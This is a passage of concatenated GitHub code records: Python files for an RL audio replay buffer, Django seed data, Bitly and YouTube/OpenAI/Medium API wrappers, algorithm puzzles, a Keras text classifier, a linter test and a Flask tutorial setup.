os.mkdir(constants.DIR_NEW_STATES)\n            if not os.path.exists(constants.DIR_DATASET_ITEMS):\n                os.mkdir(constants.DIR_DATASET_ITEMS)\n\n        super().__init__(folder=folder, transform=transform)\n\n    def get_items(self, folder):\n        \"\"\"\n        Superclass: \"This function must be implemented by whatever class inherits BaseDataset.\n        It should return a list of items in the given folder, each of which is\n        processed by process_items in some way to produce mixes, sources, class\n        labels, etc.\"\n\n        Implementation: Adds file paths to items list. Keeps list under MAX_ITEMS.\n\n        Args:\n            folder (str): location that should be processed to produce the list of files\n        Returns:\n            list: list of items (path to json files in our case) that should be processed\n        \"\"\"\n        return self.items\n\n    def process_item(self, item):\n        \"\"\"\n        Superclass: Each file returned by get_items is processed by this function. For example,\n        if each file is a json file containing the paths to the mixture and sources,\n        then this function should parse the json file and load the mixture and sources\n        and return them.\n        Exact behavior of this functionality is determined by implementation by subclass.\"\n\n        Implementation: read json of format:\n            {'prev_state': '../data/prev_states/prev8-224.wav',\n             'action': 0,\n             'reward': -0.1,\n             'new_state': '../data/new_states/new8-224.wav'}\n\n        convert the wav files to AudioSignals and return and output dict:\n            {\n              'observations': {\n                 'prev_state': AudioSignal,\n                 'new_state': AudioSignal,\n              }\n              'reward': -0.1\n              'action': 0\n            }\n\n        Args:\n            item (object): the item that will be processed by this function. Input depends\n              on implementation of ``self.get_items``.\n        Returns:\n            This should return a dictionary that gets processed by the transforms.\n        \"\"\"\n        \n        # load data from memory\n        output = item.copy()\n        prev_state, new_state = output['prev_state'], output['new_state']\n\n        # convert to output dict format\n        del output['prev_state'], output['new_state']\n        output['prev_state'], output['new_state'] = prev_state, new_state\n        output['reward'] = np.array([output['reward']], dtype='float32')\n        output['action'] = np.array([output['action']], dtype='int64')\n        output['agent_info'] = np.array(output['agent_info'], dtype='float32')\n        return output\n\n    def random_sample(self, bs):\n        indices = np.random.choice(len(self.items), bs-1, replace=False)\n        indices = np.append(indices, self.last_ptr)\n        return indices\n\n    def append(self, item):\n        \"\"\"\n        Override the default append function to work as circular buffer\n        Args:\n            item (object): Item to append to the list\n\n        Returns: Nothing (Item is appended to the circular buffer in place)\n        \"\"\"\n        if self.full_buffer:\n            self.items[self.ptr] = item\n            self.last_ptr = self.ptr\n            self.ptr = (self.ptr + 1) % self.MAX_BUFFER_ITEMS\n        else:\n            self.items.append(item)\n            self.last_ptr += 1\n            if len(self.items) == self.MAX_BUFFER_ITEMS:\n                self.ptr = 0\n                self.last_ptr = 0\n                self.full_buffer = True\n\n    def write_buffer_data(self, prev_state, action, reward, new_state, agent_info, episode, step):\n        \"\"\"\n        Writes states (AudioSignal objects) to .wav files and stores this buffer data\n        in json files with the states keys pointing to the .wav files. The json files\n        are to be read by nussl.datasets.BaseDataset subclass as items.\n\n        E.g. {\n            'prev_state': '/path/to/previous/mix.wav',\n            'reward': [the reward obtained for reaching current state],\n            'action': [the action taken to reach current state from previous state]\n            'current_state': '/path/to/current/mix.wav',\n        }\n\n        The unique file names are structured as path/[prev or new]-[episode #]-[step #]\n\n        Args:\n            prev_state (nussl.AudioSignal): previous state to be converted and saved as .wav file\n            action (int): action\n            reward (int): reward\n            new_state (nussl.AudioSignal): new state to be converted and saved as wav file\n            agent_info (list): Consists of agent location and current orientation of the agent\n            episode (int): which episode we're on, used to create unique file name for state\n            step (int): which step we're on within episode, used to create unique file name for state\n\n        \"\"\"\n        if episode not in self.metadata:\n            self.metadata[episode] = 1\n        else:\n            self.metadata[episode] += 1\n\n        agent_loc, cur_angle = agent_info\n        agent_info = np.append(agent_loc, cur_angle)  # Jut make it a single list to keep things simple\n        # create buffer dictionary\n        buffer_dict = {\n            'prev_state': prev_state,\n            'action': action,\n            'reward': reward,\n            'new_state': new_state,\n            'agent_info': agent_info\n        }\n        self.append(buffer_dict)\n\n        # write data for inspection\n        if self.to_disk and step == 1:\n            # Unique file names for each state\n            cur_file = str(episode) + '-' + str(step)\n            prev_state_file_path = os.path.join(\n                constants.DIR_PREV_STATES, 'prev' + cur_file + '.wav'\n            )\n            new_state_file_path = os.path.join(\n                constants.DIR_NEW_STATES, 'new' + cur_file + '.wav'\n            )\n            dataset_json_file_path = os.path.join(\n                constants.DIR_DATASET_ITEMS, cur_file + '.json'\n            )\n\n            prev_state.write_audio_to_file(prev_state_file_path)\n            new_state.write_audio_to_file(new_state_file_path)\n\n            # write to json\n            buffer_dict_json = {\n                'prev_state': prev_state_file_path,\n                'action': action,\n                'reward': reward,\n                'new_state': new_state_file_path,\n            }\n\n            with open(dataset_json_file_path, 'w') as json_file:\n                json.dump(buffer_dict_json, json_file)\n\n\nclass RLDataset(IterableDataset):\n    \"\"\"\n    Dataset which gets updated as buffer gets filled\n    \"\"\"\n    def __init__(self, buffer, sample_size):\n        self.buffer = buffer\n        self.sample_size = sample_size\n\n    def __iter__(self):\n        batch_indices = self.buffer.random_sample(self.sample_size)\n        for index in batch_indices:\n            yield self.buffer[index]\n","repo_name":"pseeth/otoworld","sub_path":"src/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":21516,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"60"}
+{"seq_id":"30412361377","text":"\nimport os\nfrom random import *\nfrom faker import Faker\nfrom random import randrange, randint\n\nf = Faker()\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'tracker.settings'\nimport django\ndjango.setup()\n\nfrom login.models import *\nfrom django.contrib.auth.models import User\n\nmanagers = (\n            ('1000'),\n            ('1010'),\n            ('1020'),\n            ('1020'),\n            ('1030'),\n)\n\ndesignations = (\n            ('Trainee Engineer'),\n            ('Software Engineer'),\n            ('Lead Engineer'),\n            ('Analyst'),\n            ('Admin'),\n)\n\nPS = (\n    'Python',\n    'C#',\n    'Perl',\n    'Java',\n    'Scala',\n)\n\nQual = (('BE'), ('ME'), ('MTech'), ('CA'),('MA'))\n\nyears = [1984, 1985, 1989, 1983, 1982]\n\nfor i in range(5000, 5010):\n    out = 'resu' + '@211'\n    #user = User.objects.create_user(username=str(i), email=str(i) + '@gmail.com', password=out)\n    uid = str(i)\n    name = f.name()\n    profile= \"\"\n    mobile = \"9845\" + str(randrange(100000, 999999))\n    manager = managers[randint(0,4)]\n    if str(i) in managers:\n        manager = str(i)\n    primary = PS[randint(0,4)]\n    designation = designations[randint(0,4)]\n    qual = Qual[randint(0,4)]\n    dob =  str(years[randint(0,4)]) + \"-0\" + str(randrange(1,9))+ \"-\" + str(randint(10,28))\n    doj =  str(randint(2013,2018)) + \"-0\" + str(randrange(1,9))+ \"-\" + str(randint(10,28))\n\n    Profile.objects.create(user=str(i), name=name, profile=profile, mobile=mobile, manager=manager, primary_skill=primary, designation=designation, doj=doj, dob=dob, qual=qual)\n\n\"\"\"\nclass Profile (models.Model):\n    user = models.CharField(max_length=30)\n    name = models.CharField(max_length=30)\n    profile = models.ImageField(upload_to=\"images/\")\n    mobile = models.IntegerField()\n    manager = models.CharField(max_length=30, choices=managers)\n    primary_skill = models.CharField(max_length=30, choices=PS)\n    designation = models.CharField(max_length=30, choices=designations)\n    doj = models.DateField()\n    dob = models.DateField()\n    qual = models.CharField(max_length=30, choices=Qual)\n\"\"\"","repo_name":"naresh2136/tracker","sub_path":"create_users.py","file_name":"create_users.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12759954672","text":"import requests\n\n\nclass InvalidUrl(Exception):\n    pass\n\n\ndef shorten_link(token, url):\n    headers = {'Authorization': f'Bearer {token}'}\n    params = {\"long_url\": url}\n    response = requests.post('https://api-ssl.bitly.com/v4/bitlinks', headers=headers, json=params)\n    if response.status_code == 400 and response.json()['message'] == 'INVALID_ARG_LONG_URL':\n        raise InvalidUrl()\n    response.raise_for_status()\n    return response.json()['link']\n\n\ndef count_clicks(token, bitlink):\n    url = bitlink.replace('http://', '')\n    headers = {'Authorization': f'Bearer {token}'}\n    params = {\"unit\": \"day\", \"units\": -1}\n    response = requests.get(f'https://api-ssl.bitly.com/v4/bitlinks/{url}/clicks/summary', headers=headers,\n                            params=params)\n    if response.status_code == 404:\n        raise InvalidUrl\n    response.raise_for_status()\n\n    return response.json()['total_clicks']\n","repo_name":"maxandix/bitly-links","sub_path":"bitly_links.py","file_name":"bitly_links.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4914354408","text":"import math\nimport time\n\nt1 = time.time()\n\nN = 500\n\nprime = [2,3]\nb = 3\n\nwhile True:\n\n    \n    while True:\n        b = b+2\n        i = 0\n        t = True\n        while (prime[i]*prime[i] < b):\n            i=i+1\n            if (b%prime[i] == 0):\n                t = False\n                break\n                \n        if t:\n            prime.append(b)\n            break\n        \n    if b > N:\n        break\n\ndef isPrime(item):\n    root = math.floor(math.sqrt(item))\n    i = 0\n    t = prime[i]\n    while t <= root:\n        if item%t == 0:\n            return False\n        if t < prime[-1]:\n            i += 1\n            t = prime[i]\n        else:\n            t += 2\n    return True\n\n# i kinds of number make of j\n# f(i,j) = f(i-1,j)+f(i,j-Pi)\n\ndef f(i,j):\n    if j == 0:\n        return 1\n    if j < 1:\n        return 0\n    if i == 0:\n        return 0\n    return f(i-1,j)+f(i,j-prime[i-1])\n\ndef w(i):\n    result = f(i//2+1,i)\n    if isPrime(i):\n        result -= 1\n    return result\n\nfor i in range(50,N):\n    if w(i) > 5000:\n        print(i)\n        break\n\nprint(\"time:\",time.time()-t1)\n","repo_name":"Adamssss/projectEuler","sub_path":"Problem 001-150 Python/pb077.py","file_name":"pb077.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"71041444352","text":"'''\r\n413. Arithmetic Slices\r\n2018.1.31\r\n'''\r\nclass Solution:\r\n    def numberOfArithmeticSlices(self, A):\r\n        \"\"\"\r\n        :type A: List[int]\r\n        :rtype: int\r\n        \"\"\"\r\n        #若序列S为等差数列，其长度为N，则其等差数列切片的个数SUM = 1 + 2 + ... + (N - 2)\r\n        if len(A) < 3:\r\n            return 0\r\n        delta=A[1]-A[0]\r\n        ans=0\r\n        cnt=0\r\n        \r\n        for x in range(2,len(A)):\r\n            if A[x]-A[x-1]==delta:\r\n                cnt+=1\r\n                ans+=cnt\r\n            else:\r\n                delta=A[x]-A[x-1]\r\n                cnt=0\r\n        return ans\r\n        ","repo_name":"dedekinds/pyleetcode","sub_path":"413_Arithmetic Slices_medium.py","file_name":"413_Arithmetic Slices_medium.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"72900641471","text":"import os\nimport textwrap\nfrom datetime import datetime, timedelta\n\nimport requests\nfrom dotenv import load_dotenv\nfrom fastapi import Depends, FastAPI, HTTPException, status\nfrom fastapi.security import OAuth2PasswordRequestForm\nfrom googleapiclient.discovery import build\nfrom sqlalchemy.orm import Session\nfrom youtube_transcript_api import YouTubeTranscriptApi\nfrom youtube_transcript_api.formatters import TextFormatter\n\nfrom . import models, services\n\nload_dotenv()\n\n\napp = FastAPI()\n\n\n@app.post(\"/api/users\")\nasync def create_user(\n    user: models.UserCreate, db: Session = Depends(services.get_db)\n):\n    db_user = await services.get_user_by_email(user.email, db)\n    if db_user:\n        raise HTTPException(\n            status_code=400, detail=\"Email already in use\"\n        )\n\n    user = await services.create_user(user, db)\n    return await services.create_token(user)\n\n\n@app.post(\"/api/token\")\nasync def generate_token(\n    form_data: OAuth2PasswordRequestForm = Depends(),\n    db: Session = Depends(services.get_db),\n):\n    user = await services.authenticate_user(form_data.username, form_data.password, db)\n\n    if not user:\n        raise HTTPException(\n            status_code=401, detail=\"Invalid Credentials\"\n        )\n\n    return await services.create_token(user)\n\n\n@app.get(\"/api/users/my-profile\", response_model=models.User)\nasync def get_user(user: models.User = Depends(services.get_current_user)):\n    return user\n\n\n@app.post(\"/api/youtube-videos\")\nasync def get_youtube_videos(\n    search_params: dict, user: models.User = Depends(services.get_current_user)\n):\n    YOUTUBE_API_KEY = os.getenv(\"YOUTUBE_API_KEY\")\n\n    default_search_params = {\n        \"q\": \"\",\n        \"type\": \"video\",\n        \"part\": \"id,snippet\",\n        \"order\": \"viewCount\",\n        \"videoCaption\": \"closedCaption\",\n        \"videoDuration\": \"medium\",\n        \"maxResults\": 10,\n        \"publishedAfter\": (datetime.now() - timedelta(days=7)).isoformat() + \"Z\",\n    }\n\n    q = search_params.get(\"q\")\n\n    if not q:\n        raise HTTPException(\n            status_code=status.HTTP_400_BAD_REQUEST,\n            detail=\"Parameter 'q' is required and must not be blank.\"\n        )\n\n    default_search_params.update(search_params)\n\n    try:\n        youtube = build(\"youtube\", \"v3\", developerKey=YOUTUBE_API_KEY)\n        response = youtube.search().list(**default_search_params).execute()\n        video_ids = [video[\"id\"][\"videoId\"] for video in response[\"items\"]]\n    except Exception as e:\n        raise HTTPException(\n            status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n            detail=\"Failed to retrieve YouTube videos\"\n        )\n\n    return {\n        \"video_ids\": video_ids\n    }\n\n\n@app.post(\"/api/transcript/{video_id}\")\nasync def get_video_transcript(\n    video_id: str, user: models.User = Depends(services.get_current_user)\n):\n    try:\n        transcript = YouTubeTranscriptApi.get_transcript(video_id)\n        formatter = TextFormatter()\n        formatted_transcript = formatter.format_transcript(transcript)\n    except Exception as e:\n        raise HTTPException(\n            status_code=500, detail=\"Failed to retrieve video transcript\"\n        )\n\n    return {\n        \"video_id\": video_id,\n        \"transcript\": formatted_transcript\n    }\n\n\n@app.post(\"/api/summarize-transcript\")\nasync def generate_summaries(\n    transcript: models.Transcript, user: models.User = Depends(services.get_current_user)\n):\n    OPENAI_API_KEY = os.getenv(\"OPENAI_API_KEY\")\n\n    transcript_text = transcript.transcript.strip()\n\n    if not transcript_text:\n        raise HTTPException(\n            status_code=400, detail=\"Transcript cannot be blank.\"\n        )\n\n    chunk_size = 1200 if len(transcript_text) >= 2500 else 2000\n\n    chunks = textwrap.wrap(transcript_text, chunk_size)\n\n    summaries = []\n\n    for chunk in chunks:\n        headers = {\n            \"Content-Type\": \"application/json\",\n            \"Authorization\": f\"Bearer {OPENAI_API_KEY}\"\n        }\n\n        data = {\n            \"model\": \"gpt-3.5-turbo\",\n            \"messages\": [\n                {\"role\": \"system\", \"content\": \"You are a chef.\"},\n                {\"role\": \"user\", \"content\": f\"I want to create a Medium article based on several chunks I am sending. I'd like you to analyze it and make a recipe for users. Please respond with a raw markdown format. Here's the text: {chunk}\"}\n            ],\n            \"temperature\": 0.5,\n            \"max_tokens\": 1500,\n            \"top_p\": 1,\n            \"frequency_penalty\": 0,\n            \"presence_penalty\": 0\n        }\n\n        try:\n            response = requests.post(\n                \"https://api.openai.com/v1/chat/completions\", headers=headers, json=data)\n            response.raise_for_status()\n\n            response_json = response.json()\n\n            summary = response_json[\"choices\"][0][\"message\"][\"content\"].strip()\n            summaries.append(summary)\n\n        except requests.exceptions.RequestException as e:\n            raise HTTPException(\n                status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n                detail=\"Error occurred while communicating with the OpenAI API\"\n            )\n\n    return {\n        \"summary\": \" \".join(summaries)\n    }\n\n\n@app.post(\"/api/publish-medium\")\nasync def publish_summaries(summary: models.Summary, user: models.User = Depends(services.get_current_user)):\n    MEDIUM_ID = os.getenv(\"MEDIUM_ID\")\n    MEDIUM_TOKEN = os.getenv(\"MEDIUM_TOKEN\")\n\n    MEDIUM_URL = f\"https://api.medium.com/v1/users/{MEDIUM_ID}/posts\"\n\n    content = f\"{summary}\"\n\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": f\"Bearer {MEDIUM_TOKEN}\",\n        \"Accept\": \"application/json\",\n    }\n\n    data = {\n        \"title\": \"title\",\n        \"contentFormat\": \"markdown\",\n        \"content\": content,\n        \"tags\": [\"Automation\", \"Food\"],\n        \"canonicalUrl\": \"https://medium.com/@taeheechoi\",\n        \"publishStatus\": \"draft\",\n    }\n\n    try:\n        response = requests.post(MEDIUM_URL, headers=headers, json=data)\n        response.raise_for_status()\n        print(response)\n        return {\"message\": \"Successfully published to Medium\"}\n\n    except requests.exceptions.RequestException as e:\n        raise HTTPException(\n            status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n            detail=\"Error occurred while communicating with MEDIUM API\"\n        )\n","repo_name":"taeheechoi/python-youtube-openai-medium","sub_path":"app/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40104253904","text":"import os\nimport pickle\nfrom tqdm import tqdm\n\ndata_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'source')\n\nclass dts_Weibo_ConvAI2(object):\n    def __init__(self, path=data_path):\n        self.path = path\n        self.total_dialog = 5000000\n        self.dialogs = []\n        self.dialogs_pos = []\n\n    def _txt_to_json(self, txt_path, pk_path):\n        samples = []\n        corpus = []\n        with open(txt_path, 'r',encoding='UTF-8') as f:\n            tmp_dialog = []\n            for line in f.readlines():\n                if line == '\\n':\n                    corpus.append(tmp_dialog.copy())\n                    tmp_dialog = []\n                else:\n                    tmp_dialog.append(line)\n\n        # corpus = corpus[:self.total_dialog]\n        with open(pk_path,'rb') as f:\n            split_corpus = pickle.load(f)\n\n        for i in range(len(corpus)):\n             dialog = corpus[i]\n             dialog_pos = split_corpus[i]\n             samples.append({\n                 'self_persona': [],\n                 'other_persona': [],\n                 'dialog': dialog,\n                 'dialog_pos':dialog_pos,\n                 'candidates': []\n                 }\n             )\n        return samples\n\n    def _txt_to_json_from_pk(self, pk_path):\n        samples = []\n        with open(pk_path,'rb') as f:\n            split_corpus = pickle.load(f)\n        split_corpus = split_corpus[:self.total_dialog]\n        for dialog_pos in tqdm(split_corpus):\n            sample = {'self_persona': [],\n                      'other_persona': [],\n                      'dialog_pos': dialog_pos,\n                      'candidates': []\n                      }\n            dialog = []\n            for utterance in dialog_pos:\n                words = utterance.split()\n                new_utterance = []\n                for word in words:\n                    new_utterance.append(word.split('_')[0])\n                dialog.append(''.join(new_utterance))\n            sample['dialog'] = dialog\n            samples.append(sample)\n        return samples\n\n    def get_data(self):\n        # txt_path = os.path.join(self.path, 'weibo_corpus.txt')\n        # print(\"Get dialog from \", txt_path)\n        pk_path = os.path.join(self.path, 'weibo_corpus.pk')\n        print(\"Get dialog from \", pk_path)\n        # assert os.path.exists(txt_path)\n        assert os.path.exists(pk_path)\n        # return self._txt_to_json(txt_path, pk_path)\n        return self._txt_to_json_from_pk(pk_path)\n\n    def get_dialogs(self):\n        if len(self.dialogs) == self.total_dialog:\n            return self.dialogs, self.dialogs_pos\n        dialogs = []\n        dialogs_pos = []\n        for sample in self.get_data():\n            dialogs.append(sample['dialog'])\n            dialogs_pos.append(sample['dialog_pos'])\n        self.dialogs = dialogs\n        self.dialogs_pos = dialogs_pos\n\n        # dialogs = [sample['dialog'] for sample in self.get_data()]\n        return self.dialogs, self.dialogs_pos","repo_name":"James-Yip/TGODC-DKRN","sub_path":"preprocess_weibo/convai2/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"60"}
+{"seq_id":"12917464936","text":"def daily_temperatures(temperatures):\n    res = [0] * len(temperatures)\n    stack = []\n\n    for i in range(len(temperatures)):\n        while stack and temperatures[i] > stack[-1][0]:\n            stackT, stackInd = stack.pop()\n            res[stackInd] = (i - stackInd)\n        stack.append([temperatures[i], i])\n\n    return res\n","repo_name":"azikkw/Algorithms-LeetCode","sub_path":"Stack/daily_temperatures.py","file_name":"daily_temperatures.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22440115971","text":"import pytest\n\nfrom wemake_python_styleguide.violations.naming import (\n    UnderscoredNumberNameViolation,\n)\nfrom wemake_python_styleguide.visitors.ast.naming.validation import (\n    WrongNameVisitor,\n)\n\npatterns = (\n    'number_5',\n    'between_45_letters',\n    'with_multiple_groups_4_5',\n)\n\n\n@pytest.mark.parametrize('number_suffix', patterns)\ndef test_number_prefix_variable_name(\n    assert_errors,\n    assert_error_text,\n    parse_ast_tree,\n    own_naming_template,\n    default_options,\n    mode,\n    number_suffix,\n):\n    \"\"\"Ensures that number suffix names are not allowed.\"\"\"\n    tree = parse_ast_tree(\n        mode(own_naming_template.format(number_suffix)),\n    )\n\n    visitor = WrongNameVisitor(default_options, tree=tree)\n    visitor.run()\n\n    assert_errors(visitor, [UnderscoredNumberNameViolation])\n    assert_error_text(visitor, number_suffix)\n\n\n@pytest.mark.parametrize('number_suffix', patterns)\ndef test_number_prefix_foreign_name(\n    assert_errors,\n    parse_ast_tree,\n    foreign_naming_template,\n    default_options,\n    mode,\n    number_suffix,\n):\n    \"\"\"Ensures that number suffix names are not allowed.\"\"\"\n    tree = parse_ast_tree(\n        mode(foreign_naming_template.format(number_suffix)),\n    )\n\n    visitor = WrongNameVisitor(default_options, tree=tree)\n    visitor.run()\n\n    assert_errors(visitor, [])\n","repo_name":"wemake-services/wemake-python-styleguide","sub_path":"tests/test_visitors/test_ast/test_naming/test_naming_rules/test_underscored_number.py","file_name":"test_underscored_number.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":2321,"dataset":"github-code","pt":"60"}
+{"seq_id":"14399184184","text":"#%%\nfrom tensorflow.keras.layers import Dense, LSTM, Dropout, Embedding\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.callbacks import TensorBoard, EarlyStopping\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import OneHotEncoder\nfrom tensorflow.keras.utils import plot_model\nfrom tensorflow.keras import Sequential\nimport matplotlib.pyplot as plt\nfrom tensorflow import keras\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport pickle\nimport json\nimport os\nimport re\n\n\n#%%\n# 1) Data Loading\nURL = \"https://raw.githubusercontent.com/susanli2016/PyCon-Canada-2019-NLP-Tutorial/master/bbc-text.csv\"\n\ndf = pd.read_csv(URL)\n\n\n#%%\n# 2) Data Inspection\ndf.describe()\ndf.head()\ndf.info()\n\nprint(df['text'][0])\n\n\n#%%\n# 3) Data Cleaning\n# 3.1) Remove numbers\n# 3.2) Remove HTML Tags\n# 3.3) Remove punctuation\n# 3.4) Change all to lowercase()\n\nfor index, data in enumerate(df['text']):\n    df['text'][index] = re.sub('^\\w.*?', '', data)\n    df['text'][index] = re.sub('[^a-zA-Z]', ' ', df['text'][index]).lower()\n\n\n#%%\n# 4) Features Selection\ntext = df['text']\ncategory = df['category']\n\n\n#%%\n# 5) Data Preprocessing\n\n# Tokenizer\nnum_words = 5000 # unique number of words in all the sentences\noov_token = '<OOV>' # out of vocabrary\n\n# from sklearn.preprocessing import MinMaxScaler\n# mms = MinMaxScaler() # instantiate\ntokenizer = Tokenizer(num_words = num_words, oov_token=oov_token) # instantiate\n\n# to train the tokenizer --> mms.fit(tokenizer)\ntokenizer.fit_on_texts(text)\nword_index = tokenizer.word_index\nprint(dict(list(word_index.items())[0:10]))\n\n# to transform the text using tokenizer --> mms.transform\n\ntext = tokenizer.texts_to_sequences(text)\n\n# Padding\npadded_text = pad_sequences(text, maxlen=300, padding='post', truncating='post')\n\n# One hot encoder\nohe = OneHotEncoder(sparse=False)\ncategory = ohe.fit_transform(category[::,None])\n\n\n#%%\n# 6. Train test split\n# expand dimension before feeding to train_test_split\n\npadded_text = np.expand_dims(padded_text, axis=-1)\n\nX_train, X_test, y_train, y_test = train_test_split(padded_text, category, test_size = 0.2, random_state=123)\n\n\n#%% \n# 7. Model development\nembedding_layer = 64\n\nmodel = Sequential()\nmodel.add(Embedding(num_words, embedding_layer))\nmodel.add(LSTM(128, input_shape=(X_train.shape[1:]), return_sequences=True))\n# model.add(Dropout(0.3))\nmodel.add(LSTM(64))\nmodel.add(Dropout(0.3))\nmodel.add(Dense(5, activation='softmax'))\nmodel.summary()\n\nplot_model(model, show_shapes=True)\n\nmodel.compile(optimizer='adam',loss='categorical_crossentropy', metrics=['acc'])\n\n\n#%%\n# 8. TensorBoard\n\nLOGS_PATH = os.path.join(os.getcwd(), 'logs', datetime.datetime.now().strftime('%Y%m%d-%H%M%S'))\n\nts_callback = TensorBoard(log_dir=LOGS_PATH)\nes_callback = EarlyStopping(monitor='val_loss',patience=5,verbose=0,restore_best_weights=True)\n\n#%%\n# 9. Perform model training\nhist = model.fit(X_train,y_train,validation_data=(X_test, y_test), batch_size=32, epochs=30, callbacks=[ts_callback, es_callback])\n\n\n# %% Model Analysis\n\nplt.figure()\nplt.plot(hist.history['acc'])\nplt.plot(hist.history['val_acc'])\nplt.legend(['training', 'validation'])\nplt.show()\n\ny_predicted = model.predict(X_test)\n\n\n#%%\n\ny_predicted = np.argmax(y_predicted,axis=1)\ny_test = np.argmax(y_test,axis=1)\n\nprint(classification_report(y_test, y_predicted))\nprint(confusion_matrix(y_test, y_predicted))\n\n# %% Model Saving\n\n# to save trained model\nmodel.save('model.h5')\n\n# to save one hot encoder model\nwith open('ohe.pkl', 'wb') as f:\n    pickle.dump(ohe, f)\n\n# to save tokenizer\ntoken_json = tokenizer.to_json()\nwith open('tokenizer.json', 'w') as f:\n    json.dump(token_json, f)","repo_name":"artscreator/A-deep-learning-LSTM-model-to-detect-Test-Classification-on-BBC-news","sub_path":"Text_Classification.py","file_name":"Text_Classification.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31357522627","text":"# math, prime number, Sieve of Eratosthenes, Goldbach's conjecture\n\nimport sys\n\n# input\ncount = int(input())\nnum_list = [int(sys.stdin.readline()) for i in range(count)]\n\n# prime number setting(Sieve of Eratosthenes)\nn = 10001\nprime_num_list = [True] * n\n\nm = int(n ** 0.5)\nfor i in range(2, m + 1):\n    if prime_num_list[i] == True:           \n        for j in range(i + i, n, i):\n            prime_num_list[j] = False\n\n''' \n    시간 초과 때문에 여러 방법 다 써봤지만, 소수만 골라 담은 list를 돌면서 하는 방법보다\n    true, false에 해당 하는 index 값 찾아 출력하는 쪽으로 구현\n'''\nfor even_num in num_list:\n    range_num = even_num // 2\n    \n    for i in range(range_num):\n        if prime_num_list[range_num - i] * prime_num_list[range_num + i]:\n            print(range_num - i, range_num + i)\n            break","repo_name":"myae3080/Algorithm-Study","sub_path":"Baekjoon/python/9020.py","file_name":"9020.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40343289922","text":"# -*- coding: utf-8 -*-\n# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\nfrom ..ingest.database import Database\nfrom ..logging import logger\n\n\ndef collect_events(\n    database: Database, source_file: str\n) -> tuple[str | tuple[str, str], ...] | None:\n    task = database.tagval(source_file, \"task\")\n    if not isinstance(task, str):\n        logger.warning(\n            f'Cannot collect events for \"{source_file}\" because it has no task tag'\n        )\n        return None\n    # Get from database\n    candidates: tuple[str, ...] | None = database.associations(\n        source_file,\n        task=task,  # Enforce same task\n        datatype=\"func\",\n        suffix=\"events\",\n    )\n    if candidates is None or len(candidates) == 0:\n        return None\n\n    # Filter\n    condition_files: list[str | tuple[str, str]] = list()\n\n    source_file_subject = database.tagval(source_file, \"sub\")\n    for candidate in sorted(set(candidates)):  # remove duplicates\n        # enforce same subject if applicable\n        subject = database.tagval(candidate, \"sub\")\n        if subject is not None:\n            if subject != source_file_subject:\n                continue\n\n        extension = database.tagval(candidate, \"extension\")\n        if extension == \".txt\":\n            condition = database.tagval(candidate, \"condition\")\n            assert isinstance(condition, str)\n            condition_file: str | tuple[str, str] = (candidate, condition)\n        else:\n            condition_file = candidate\n\n        condition_files.append(condition_file)\n\n    if len(condition_files) > 0:\n        return tuple(condition_files)\n    else:\n        return None\n","repo_name":"HALFpipe/HALFpipe","sub_path":"src/halfpipe/collect/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"60"}
+{"seq_id":"22342643987","text":"# all the imports\nimport os\nimport sqlite3\nfrom flask import Flask, request, session, g, redirect, url_for, abort, \\\n     render_template, flash\n\n\n# create our little application :)\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n#intial app.route to index page\n@app.route('/')\ndef index_one():\n    return 'Welcome to the {} index page {}'.format('first', 'of my life')\n\n# Load default config and override config from an environment variable\napp.config.update(dict(\n    DATABASE=os.path.join(app.root_path, 'flaskr.db'),\n    DEBUG=True,\n    SECRET_KEY='development key',\n    USERNAME='admin',\n    PASSWORD='default'\n))\napp.config.from_envvar('FLASKR_SETTINGS', silent=True)\n\n\ndef connect_db():\n    \"\"\"Connects to the specific database.\"\"\"\n    rv = sqlite3.connect(app.config['DATABASE'])\n    rv.row_factory = sqlite3.Row\n    return rv\n\ndef get_db():\n    \"\"\"Opens a new database connection if there is none yet for the\n    current application context.\n    \"\"\"\n    if not hasattr(g, 'sqlite_db'):\n        g.sqlite_db = connect_db()\n    return g.sqlite_db\n\n@app.teardown_appcontext\ndef close_db(error):\n    \"\"\"Closes the database again at the end of the request.\"\"\"\n    if hasattr(g, 